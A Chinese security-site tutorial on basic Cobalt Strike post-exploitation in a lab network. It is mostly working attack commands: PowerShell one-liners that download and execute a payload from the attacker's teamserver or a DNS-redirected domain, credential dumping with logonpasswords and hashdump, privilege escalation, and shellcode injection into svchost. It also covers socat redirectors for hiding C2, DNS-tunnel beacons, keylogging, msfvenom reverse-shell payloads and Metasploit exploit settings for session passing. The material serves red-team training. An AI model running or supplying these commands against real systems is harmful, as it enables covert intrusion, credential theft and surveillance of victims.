freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CobaltStrike后渗透基础篇
特mac0x01 2023-06-25 11:31:03 225847
所属地 浙江省

Cobalt Strike 是一款远程控制工具,适合在团队模式下模拟 APT 在攻防对抗中进行内网渗透。同时它还集成了端口转发、服务扫描、自动化溢出利用、多模式端口监听、多种木马生成等功能,甚至包括克隆站点获取浏览器信息。本文主要介绍 CS 的基础使用。

0x01 基础使用

工具架构

CobaltStrike 主要采用 C/S 架构,服务端支持团队协作操作,提供各种攻击所需的服务,比如设置监听器、生成各种木马、保存各类日志等;而客户端供团队成员使用,只需配置完服务器IP、服务器监听端口及账号密码即可连接成功。以下是关于架构的可视化图:
1

在服务器上开启服务端,后面两个参数分别是服务器主机IP以及连接密码

./teamserver 192.168.8.104 123456

在本地启动客户端配置服务器地址和连接端口并输入账号密码
3

成功连接服务器,不过需注意的是客户端与服务端版本要一致
4

启动客户端登录另一个账号,两账号之间通话非常方便,适合团队协作
6

简单上线

设置 HTTP 类型监听器
7

选择钓鱼攻击中的 WEB 脚本传递
8

设置对应的路径、主机地址、主机端口、监听器以及脚本执行类型
9

访问网站对应路径,出现界面如下说明启动成功
10

在靶机中执行 PowerShell 类型脚本命令,成功上线 CS

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.8.104:80/a'))"

11

简单利用

获取明文密码和用户密码哈希

logonpasswords
hashdump

12

成功提升至系统权限

getsystem

生成 HTTP 监听器的payload.bin

查看进程并选择系统权限的svchost进程注入

shinject 732 x64

成功注入并上线系统权限

0x02 DNS监听器

重定器介绍

重定器是在服务器和目标网络之间的服务器,它的主要作用是对团队服务器进行任意的连接或返回,即通常说的代理服务器或端口转发工具,在 APT 攻击和防御中扮演着非常重要的角色,它主要提供了以下两种功能:

  • 保护 CobaltStrike 服务器地址,防止受害者溯源至服务器 IP

  • 提升冗余能力,如果服务器存在连接问题也能够进行通信

通过 DNS 服务器进行域名解析后访问目标网站测试重定向是否正常,通过浏览器依次访问http://r1.cs.com/ahttp://r2.cs.com/bhttp://r3.cs.com/c,并在服务器中创建监听器并设置 web 传递,等待目标执行命令
1

另外还要介绍一款工具:socat,主要用于端口重定向,安装过程也非常简单

apt-get install socat

使用 socat 进行端口重定向

例:socat TCP4-LISTEN:80 , fork TCP4:[team server]:80
socat TCP4-LISTEN:80, fork TCP4:team.cs.com:80

DNS监听利用

搭建 DNS 服务器并配置信息,同时设置角色名分别如下:

cs.com 192.168.8.104
r1.cs.com 192.168.8.233
r2.cs.com 192.168.8.240
r3.cs.com 192.168.8.211

3

在靶机上设置 DNS 服务器为192.168.8.212
4
r1.cs.com成功 ping 通cs.com
5
r2.cs.com成功 ping 通cs.com
6
在 ubuntu 上建立 socat 转发

安装socat:
命令:socat TCP-LISTEN:80,fork TCP4:cs.com:80

7

设置监听器需配置 host 域名

r1.cs.com
r2.cs.com
r3.cs.com

9

设置 WEB 脚本生成用于攻击的 payload
10

访问网站对应 URL 出现页面如下,说明成功启动
11
在靶机中执行脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.cs.com:80/a'))"

12
成功上线 CS
13

DNS木马简介

使用 DNS 木马的优点是隐蔽性相对较好,在受害主机上不会开放多余端口,通信流量只会走53端口,能够有效规避防火墙,而缺点也十分明显,由于使用 DNS 协议,传输过程需要经 DNS 服务器解析至目标 IP,导致响应相对较慢。在 CS 上存在两种 DNS 木马类型,分别如下:

  • beacon_dns/reverse_http:传输数据小,payload通过http分阶段,将http改为dns的a记录进行通信,但速度较慢,非常隐蔽,推荐使用

  • beacon_dns/reverse_dns_txt:传输数据大,同上只是使用dns的txt方式进行通信,相比上一种传输的数据量更大

受害主机在执行 DNS 木马后会发出a记录的请求,如果本地 hosts 文件存在记录就能拿到返回 IP 地址,而不存在就会请求根服务器,还不存在就会依次访问comdnspot的域名解析服务器,最终会找到名称服务器,名称服务器可以是 CS 服务器,如果存在解析记录就会返回对应域名的 IP 地址,同时还会返回 DNS 信息给受害者,受害者再请求危险的a记录到 CS 服务器,从而完成通信。

DNS隧道利用

2
在 VPS 控制台上指定子域名 DNS 记录,其中 test 指向 VPS 的IP地址,完成后把 c1、c2、c3 都指向 test.maccc.top
1

新建监听器并配置 payload 为windows/beacon_dns/reverse_http,DNS 地址指向test.maccc.top,DNS地址为c1.maccc.top、c2.maccc.top、c3.maccc.top
6

测试 test.maccc.top是否已经成功解析

nslookup test.maccc.top
nslookup 123456.c1.maccc.top 123456任意
dig/trace 123456.c1.maccc.top

8

设置 WEB 脚本生成用于攻击的 payload
7

在客户端和服务端分别测试连通性

服务端:tcpdump -n -i eth0 udp dst port 53
客户端:nslookup 123456.c1.maccc.top

10

在受害主机中执行命令成功上线

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.maccc.top:80/a'))"

通过mode命令转换传输协议为 HTTP

mode http dns dns-txt

0x03 用户驱动管理

驱动模块简介

当上线后攻击者可利用驱动模块对目标发起攻击,包括屏幕截图、键盘记录、进程处理、端口扫描、用户发现、文件管理、远程vnc、浏览器代理(仅针对IE)等,相关命令包括如下:

sleep <time> #控制响应时间间隔(秒)
portscan #端口扫描
jobs #查看任务列表
jobkill <jid> #终止任务

常用驱动模块

选择目标右键进入会话交互
1

在会话中使用屏幕截图功能

screenshot

2

在屏幕截图模块中查看截取的屏幕
3
在会话中选择用户进程进行键盘记录

keylogger 2740 x64

4

在键盘记录模块中查看进程用户输入
5

在文件管理模块查看主机任意磁盘文件
6
如果想要控制桌面可使用 vnc 桌面交互模块

desktop

7

攻击者可选择控制屏幕或仅监控屏幕
8
使用浏览器代理功能
9

在浏览器代理模块发现已成功启用
10

使用端口扫描扫描本地或局域网目标

例:portscan [ip] [port] [type] [size]
portscan 192.168.8.0-192.168.8.255 1-1024,3389.5000-6000 arp 1024

11

在目标主机中会显示成功扫描到的主机IP
12

会话管理模块

CS 和 MSF 是日常渗透活动中使用最主要的两款远程控制的工具,会话管理功能能够实现两者会话自由转换。CS 能够派生自身会话,还能派生其他 CS 服务器做备份会话;而 MSF 能生成木马与 CS 建立会话,也能利用 EXP 与 CS 建立会话,当然也可以派生会话至 CS

CS派生自身会话

首先给自身派生会话
1

生成新监听器为http_beacon_2
2
选择主机新建会话
3

选择新监听器http_beacon_2
4

成功生成两个会话
5
成功生成三个会话
6

CS派生备份会话

在 A 服务器上生成新监听器
7

B 服务器上存在会话,同时生成新监听器,配置 IP 地址为 A 服务器对应地址和端口
8
在已有会话中派生会话,选择新监听器http_beacon_team
9

成功派生会话
10

CS派生MSF会话

在 MSF 中配置监听

msf5 > use exploit/multi/handler
msf5  exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.8.222
msf5 exploit(multi/handler) > set lport 4444

设置监听器为 MSF 服务器地址和端口
11

但选择新监听器派生后能反弹meterpreter,但不能执行命令,可能是系统不兼容64位

MSF生成木马上线CS

使用 MSF 生成木马与CS建立会话

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.8.222 lport=5555 -f exe > ~/Desktop/shell.exe

建立监听器
12

执行木马成功上线 CS

13

MSF执行溢出上线CS

在 CS 上设置新监听器
14

在 MSF 使用溢出漏洞上线 CS

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.8.139
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.8.222
set lport 8888
set disablepayloadhandler True
set PrependMigrate True
exploit
  • disablepayloadhandler True:不需要在框架内来创建处理程序来服务有效载荷连接

  • PrependMigrate True:MSF 修改 stager 以便利用之后立即迁移到另一个进程

MSF派生CS会话

在 MSF 中通过溢出漏洞上线管理员

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.8.134
set SRVPORT 80
set payload windows/meterpreter/reverse_tcpset 
set rhosts 192.168.0.134
set lport 4444
exploit

15
把当前会话派生给 CS

use exploit/windows/local/payload_inject
set session 3
set payload windows/meterpreter/reverse_http
set lhsot 192.168.8.222
set lport 8888
set DisablePayloadHandler true
exploit -j

16

成功派生会话给CS
17

# CobaltStrike
本文为 特mac0x01 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
特mac0x01 LV.6
公众号:A11Safe
  • 48 文章数
  • 257 关注者
CobaltStrike后渗透进阶篇
2023-06-27
Metasploit后渗透利用
2023-03-30
Mimikatz后渗透利用
2023-03-14
文章目录